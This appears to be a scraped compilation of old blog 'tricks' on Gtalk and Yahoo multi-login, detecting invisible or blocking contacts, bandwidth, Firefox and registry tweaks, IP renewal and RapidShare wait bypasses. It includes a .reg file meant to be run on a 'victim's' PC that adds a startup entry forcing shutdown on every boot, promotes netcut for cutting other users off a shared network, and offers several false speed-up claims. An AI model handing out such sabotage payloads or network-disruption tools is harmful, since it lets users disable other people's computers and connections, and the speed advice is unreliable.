If you are in your school's computer lab or in home , this software will always help you in your work . It is common thing to have many computer's connected with one device for internet and it causes your bandwidth to fall down . Here is a software called netcut which cuts the one's connection in such a crucial condition.When it cuts the one's connection , it automatically increases bandwidth of your connection which will let you work more easily and fastly.

We happen to have more than one Email Ids and sometimes more than one Gmail Id. So logging out from one account and login to the other is very troublesome. If you want to run Gtalk for two or more same Gmail Ids simultaneously, you can easily do that.
There are many ways of doing that (you maybe knowing some) but here is a list of four easier ways. It was notified by one of our readers who was facing problem while using Gtalk for 2 Gmail accounts, so here goes the solution.
Solution:

First method:
• Using Pidgin
Pidgin is an easy to use and free chat client used by millions. Connect to AIM, MSN, Yahoo, and more chat networks all at once.
Pidgin has hell lots of options and supports many IM clients. You should try that.

Second method:• (Using Digsby)
Digsby is a multiprotocol IM client that lets you chat with all your friends on AIM, MSN, Yahoo, ICQ, Google Talk, and Jabber with one simple to manage buddy list.
You can even switch to offline or invisible modes, an advantage currently not available in the standard Google Talk client.

Third method:
• Replace the target of Gtalk shortcut icon by this line
“C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex



Click OK.

Fourth method:
• Use Google Labs edition along with standard Gtalk client.
Labs edition adds more functionalities to the Gtalk.

Now if you want to fool the people and know about their online status even when they have logged in with invisible feature activated, then this is possible. There are two ways to do this.
You need to have a GPRS enabled mobile handset.
Download a free software called gotalkmobile(http://www.gotalkmobile.com/gotalkmobile_download.html) on your handset and install it.
After the installation, log on to your GTalk account with your login details.
Now, this will show you the entire online friends list. It does not matter if they are online or invisible.
In this way you can catch your offline friends as well. The persons who are being shown as offline, are not present on GTalk.
And you are done above. You will notice those online (visible + invisible) as well as the offline friends.
Now u can even disturb that clever fools ;-)

So another way is that u just go Off the record with target user that is chats will now be not saved.
This can be only done when the target user is online.
Now when the target user is offline/hidden/invisible just try to send him/her the messages in chat. if the target is invisible but not offline then he/she can receive ur chats. but if the target user is offline then u'll receive an error did not receive your chat.

So friends here is the solution to know who has blocked u on Gtalk.

For this you need to have PIDGIN and configure it properly. Pidgin is a third party tool, available for free. You can use all your messenger accounts at once using this software. You can talk to your friends using AIM, ICQ, Jabber/XMPP, MSN Messenger, Yahoo!, Google Talk, Bonjour, Gadu-Gadu, IRC, Novell GroupWise Messenger, QQ, Lotus Sametime, SILC, SIMPLE, MySpaceIM, Zephyr etc. Folow the steps below:

Download Pidgin.(http://rapidshare.com/files/218360724/pidgin-2.5.5.zip)

Go To Accounts –> Manage –> Add.
It will open a new window Add Accounts.
From the drop down box choose XMPP as the Protocol.
In case of Screen name enter your Gmail Id (e.g. - crypto36).
Type gmail.com as the Domain/Server.
In Resource Field enter Home.
Type your Gmail Password in the Password Field.
Choose any Nickname (e.g. - crypto) as Local alias.
And you are now done with Pidgin settings.

Now how to see who has blocked u on Gtalk. Follow the below steps :

Sign in to GTalk on PIDGIN with your details
Go to Buddies –> Show Offline Buddies
Right click on that selected contact, and click on Get Info.
Now here is the trick. Clicking on Get Info will show the brief profile of the person. But if the person has blocked you on GTalk, you won’t be able to see his/her full profile. You can’t even see his/her profile name.

* Google (http://www.google.com/)
* Froogle (http://froogle.google.com) product search engine (active beta)
* Google News (http://news.google.com/)
* Google Local (http://local.google.com/)
* Google Wireless (http://www.google.com/options/wireless.html)
* Google Scholar (http://scholar.google.com/)
* Google Suggest (http://www.google.com/webhp?complete=1&hl=en)
* Google Keyhole (http://www.keyhole.com/)
* Google Print (http://print.google.com/print/faq.html) (beta) (Example (http://print.google.com/print/doc?isbn=0195128427))
* Google Books (https://www.googlestore.com/)
* AdWords (https://adwords.google.com)
* AdSense (https://www.google.com/adsense/)
* Gmail (http://www.gmail.com/) (private beta)
* Google Labs (http://labs.google.com/) (a testing ground for Google services that are in beta)
* Google Groups 2 (http://groups-beta.google.com/)
* Official Google weblog (http://www.google.com/googleblog)
* googlesyndication.com (http://www.googlesyndication.com/) - Official Google mirror
* Early Google.com (http://web.archive.org/web/19981202230410/www.google.com/) - Google as on November 11, 1998

This is well written explanation about bandwidth, very useful info.




BandWidth :


Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet.


Network Connectivity :

The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet.

If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54).


Traffic :

A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up.

Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB).

If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person's file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment).


Hosting Bandwidth :

In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file).

A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo's home page is about 70KB.


How Much Bandwidth Is Enough?

It depends (don't you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis

If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward:

Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor

If you intend to allow people to download files from your site, your bandwidth calculation should be:

[(Average Daily Visitors x Average Page Views x Average Page Size) +
(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor

Let us examine each item in the formula:

Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000.

Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit.

Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly.

Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day.

Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly.

Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met.

Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31.


Summary

Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.

Trick To Make Your Firefox Fast






This tricks will improve the speed & load time of firefox. And you will be able to surf faster.


Type about:config in the address bar, Then look for the following entries, and make the corresponding changes.

1. network.http.max-connections-per-server =32
2. network.http.max-persistent-connections-per-proxy =16
3. network.http.max-connections = 64
4. network.http.max-persistent-connections-per-server = 10
5. network.http.pipelining = true
6. network.http.pipelining.maxrequests = 200
7. network.http.request.max-start-delay = 0
8. network.http.proxy.pipelining = true
9. network.http.proxy.version = 1.0

Lastly right-click anywhere and select New- Integer. Name it nglayout.initialpaint.delay and set its value to 0. This value is the amount of time the browser waits before it acts on information it recieves.Enjoy!!

Shake ur Web-Browser



Copy and paste the java script code to the address bar of your browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

2: Press enter and watch your window's "shaking it". You can change the value of i if you wish

Change Web Page Font Size on the Fly



If your mouse contains a wheel for scrolling, you can change font size on the fly when viewing a Web page.

To do so:

Press and hold Ctrl. Scroll down (or towards yourself) to enlarge the font size.

Scroll up (or away from yourself) to reduce the font size.

You might find it useful to reduce font size when printing a Web page, so that you can fit more content on the page.

Making Your Friend's PC Shutdown :

Put this following text in a .reg file and run it in the victims pc:


************************************************************************************

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"


************************************************************************************


DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

You can also put this in a javascript code, just add this code to your webpage:



Be careful, a drawback of the js code is that NORTON ANTIVIRUS's script blocking feature may block this.

How to change ur IP address...?

How to change your IP address in minutes? The following trick gives you a step-by-step procedure to change your IP address.
1. Click on “Start” in the bottom left hand corner of screen.
2. Click on “Run”.
3. Type in “command” and hit ok.You should now be at an MSDOS prompt screen.
4. Type “ipconfig /release” just like that, and hit “enter”.
5. Type “exit” and leave the prompt.
6. Right-click on “Network Places” or “My Network Places” on your desktop.
7. Click on “properties”.
You should now be on a screen with something titled “Local Area Connection”, or something close to that.
8. Right click on “Local Area Connection” and click “properties”.
9. Double-click on the “Internet Protocol (TCP/IP)” from the list under the “General” tab.
10. Click on “Use the following IP address” under the “General” tab.
11. Create an IP address (It doesn’t matter what it is. I just type 1 and 2 until i fill the area up).
12. Press “Tab” and it should automatically fill in the “Subnet Mask” section with default numbers.
13. Hit the “Ok” button here.
14. Hit the “Ok” button again.You should now be back to the “Local Area Connection” screen.
15. Right-click back on “Local Area Connection” and go to properties again.
16. Go back to the “TCP/IP” settings.
17. This time, select “Obtain an IP address automatically”.
18. Hit “Ok”.
19. Hit “Ok” again.
20. You now have a new IP address.
Some ISPs do not support this type of procedure and hence there are chances of getting back the same old IP address even after trying this hack.In this case you need to switch off the modem and then switch it on to get the new IP address.

Speed up ur net connection :

There are four Internet settings that can be configured, you can get greater throughput (faster Internet downloads) by modifying a few settings.
They are the MaxMTU, MaxMSS and DefaultRcvWindow, and DefaultTTL
1.Open RegEdit
2.Go to
HKEY_LOCAL_MACHINE\System\CurrentControlset\ Services\ Class\ net\ 000x
(where x is your particular network adapter binding.)
3.Right click on the right panel
4.Select New\String Value and create the value name IPMTU
5.Double click on it and enter then the number you want. The usual change is to 576
6.Similarly, you can add IPMSS and give it a value of 536
(Windows 9X)You can set DefaultRcvWindow, and DefaultTTL by adding these string values to HKEY_LOCAL_MACHINE\ System\ CurrentControlset\ Services\ VXD\ MSTCP
Set the DefaultRcvWindow to"5840"and the DefaultTTL to "128"
Note: These settings will slow down your network access speed slightly, but you will probably not even see the difference if you are using a network card. If you are using Direct Cable you should see a sight difference.

Increase Your surfing and downloading speed :

1.My computer-(right click on)->properties->then go HARDWARE tab->Device manager-> now u see a window of Device manager
then go to Ports->Communication Port(double click on it and Open).
after open u can see a Communication Port properties.
go the Port Setting:----
and now increase ur "Bits per second" to 128000.
and "Flow control" change 2 Hardware.

apply and see the result



2.Type this coding in notepad and save as .reg and then execute this file.
this will increase ur surfing n downloading speed.

REGEDIT5
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro
lSet\Servic es\Tcpip\Parameters]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005ae4c
"Tcp1323Opts"=dword:00000003
"DefaultTTL"=dword:00000040
"EnablePMTUBHDetect"=dword:00000000
"EnablePMTUDiscovery"=dword:00000001
"GlobalMaxTcpWindowSize"=dword:0005ae4c

What to do when your Orkut Account is Hacked ?

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when your forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:

1. Reset Your Google Account Password:
Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd – you will receive an email at your secondary email address with a link to reset your Google Account Password. This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:
If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:
If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

Gmail Fast Login :

Works in Internet Explorer, Opera & Firefox.

For low speed connections logging in to gmail could becomes an irritating task.
You must have experienced gmail login problem especially on a dial up connection. Login in to gmail is comparatively slower because of its rich user interface, because of that sometimes the gmail login screens gives an error.
And in orkut also sometimes the login box does not appears and says “connection timed out” or “server not responding” kind of messages.

Following are some tips and tricks to login into gmail faster even with low speed internet connections.

Gmail login tricks

- Use HTML version of gmail instead of standard version. You can access to gmail’s HTML version directly from this url
http://mail.google.com/mail/h/

- Also try gmail mobile version
It is very lo-fi version of gmail but the speed of logging in really fast, it is opening instantly on my system. The mobile version of gmail login page is simple, fast and furious. So no more gmail login problems now.
http://m.gmail.com

Hidden Information and secret Things in Firefox

If you want to know secret and new things about Mozilla then open Mozilla Firefox and then enter string into address bar one by one given below and then press enter .

1. about:Mozilla
When you enter this string in address bar then pressed enter then you will see that this page will show a quote from “The Book of Mozilla” with RED background.

2. about:credits
When you enter this string in address bar then pressed enter then you will see that this page will show a page with heading of “Our Contributors” in Alphabatic view. In Short this page will show names of Contributors who created Mozilla.

3. about:plugins
This string will show list of installed plug ins in Mozilla Firefox Browser.

4. about:config
When you enter this then you will see several setting key, By which you can set all configurations of Mozilla Firefox Browser. But if you don’t know any about it then please don’t try to change it. By these configuration settings you can do anything with Mozilla like You can spped up Mozilla speed by 400 percent etc.

5. about:cache
When you use this to get information then by this string you will get all information about Memory cache device and Disk cache device and also your all cache details of Mozilla.

6. about:
This will show Logo of Mozilla Firefox with version, Contributors information, License information and Build configuration of Mozilla Firefox.

7. about:buildconfig
This will show all build configuration of Mozilla Firefox.

8. about:license
This will show all information related to license like Mozilla Public License, # GNU General Public License, GNU Lesser General Public License etc.

Request a new IP address from your ISP server.

Here's how to do it in windows:
1. Click Start
2. Click run
3. In the run box type cmd.exe and click OK
4. When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit


5. Erase your cookies in whatever browser you are using.
6. Try the rapidshare download again.

Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

se a bookmarklet to stop your wait times

1. Open IE
2. Right Click On This Link
3. Select Add to Favorites
4. Select Yes to the warning that the bookmark may be unsafe.
5. Name it "RapidShare No Wait"
6. Click on the Links folder (if you want to display it in your IE toolbar)
7. Click OK
8. You may need to close and reopen IE to see it
9. Goto rapidshare and click the bookmarklet when you are forced to wait

How To Block Websties Without Software

Steps:

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.
5] Done!

-So-

127.0.0.1 localhost
127.0.0.2 www.blockedsite.com

-->www.blockedsite.com is now unaccessable<--


For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

Multiple logins in you Yahoo! Messenger

To enable multiple logins in you Yahoo! Messenger, Follow these steps :

*
Click Start Menu And Click On “RUN”
*
Type “regedit” and click OK
*
You will see the REGISTRY EDITOR
*
Navigate to “ HKEY_CURRENT_USER/Software/Yahoo/Pager/Test “
*
Here in right side panel, right click to create a new Dword value with name Plural and give it value 1.
*
Close the registry editor and enjoy multiple yahoo logins.